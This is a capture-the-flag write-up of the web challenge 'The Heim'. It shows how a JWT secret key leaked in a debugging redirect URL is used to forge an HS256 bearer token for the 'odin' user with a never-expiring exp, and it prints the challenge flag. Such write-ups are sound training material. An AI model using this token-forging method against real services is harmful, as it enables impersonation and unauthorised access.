The Heim
Upon navigating to the given URL, we’re met with a login form which asks the user for a “name”, claiming that “only those who BEARER a token may enter”.
After entering a name and hitting “Enter”, we are then redirected to the /auth/authorised
page containing our access token:
This likely suggests that we’re dealing with some type of bearer token authentication. Bearer tokens allow requests to authenticate by using a cryptic string generated and encrypted by the server, such as a JSON Web Token, which looks something akin to this:
This token is then included in the HTTP header, in the format of:
Authorization: Bearer <JWT>
Intercepting requests with Burp Suite
Let’s intercept the outbound POST request made to /auth
with Burp Suite’s proxy feature, and forward the request to the repeater with Ctrl-R
to try and figure out what is happening behind the scenes:
We see that the browser first makes a POST request to /auth
with the form data, and is then redirected to the URL:
/auth?access_token=<JWT>&jwt_secret_key=arottenbranchwillbefoundineverytree
Leaked at the end of the redirect URL is the jwt_secret_key
, which is used for encrypting JSON Web Tokens:
arottenbranchwillbefoundineverytree
While looking for more API endpoints on the website by trying related keywords, we stumbled upon /heim
, which returned:
{
"msg": "Missing Authorization Header"
}
This means that the web server is expecting a Bearer token in the HTTP header, so let’s add that to our request in Burp Suite’s repeater:
We received a massive message encoded in base64, let’s decode it:
$ echo "ewogICAgIm...AgIH0KfQ==" | base64 -d
{
"api": {
"v1": {
"/auth": {
"get": {
"summary": "Debugging method for authorization post",
"security": "None",
"parameters": {
"access_token": {
"required": true,
"description": "Access token from recently authorized Viking",
"in": "path",
},
"jwt_secret_key": {
"required": false,
"description": "Debugging - should be removed in prod Heim",
"in": "path"
}
}
},
"post": {
"summary": "Authorize yourself as a Viking",
"security": "None",
"parameters": {
"username": {
"required": true,
"description": "Your Viking name",
"in": "body",
"content": "multipart/x-www-form-urlencoded"
}
}
}
},
"/heim": {
"get": {
"summary": "List the endpoints available to named Vikings",
"security": "BearerAuth"
}
},
"/flag": {
"get": {
"summary": "Retrieve the flag",
"security": "BearerAuth"
}
}
}
}
}
Nice! We have obtained a list of all available endpoints and now know the flag is located at /flag
, and that the GET method for /auth
was originally meant to be a debugging endpoint, explaining why jwt_secret_key
was leaked in the redirect URL.
Making a GET request to /flag
with our Bearer token returns:
{
"msg": "You are not worthy. Only the AllFather Odin may view the flag"
}
Seems like only Odin is worthy enough to view the flag! Also, trying to submit “odin” as the name in the login form returns:
{
"error": "You are not wise enough to be Odin"
}
Though, since we can obtain a sample access token and are in possession of the secret key, we can forge our own tokens to authenticate as the Odin user.
Forging Odin’s token
Using CyberChef tool, we can easily read the payload of our own JWT string with the “JWT decode” function:
We see that the JWT payload contains the following data:
{
"fresh": false,
"iat": 1617017482,
"jti": "380b9f5c-fb31-479e-a189-59e2c8040453",
"nbf": 1617017482,
"type": "access",
"sub": "samiko",
"exp": 1617018382
}
Of all variables, sub
(subject) and exp
(expiration time) are the ones that appear most interesting to us, since we want to forge a token for Odin (that never expires!), so let’s modify the payload to the following:
{
"fresh": false,
"iat": 1617017482,
"jti": "380b9f5c-fb31-479e-a189-59e2c8040453",
"nbf": 1617017482,
"type": "access",
"sub": "odin",
"exp": 9999999999
}
Using the “JWT Sign” function with the leaked jwt_secret_key
and HS256 as parameters, we get the token:
Using the forged token in the HTTP header as a Bearer token, we make a GET request to /flag
:
Voila! We got the flag:
UMASS{liveheim_laughheim_loveheim}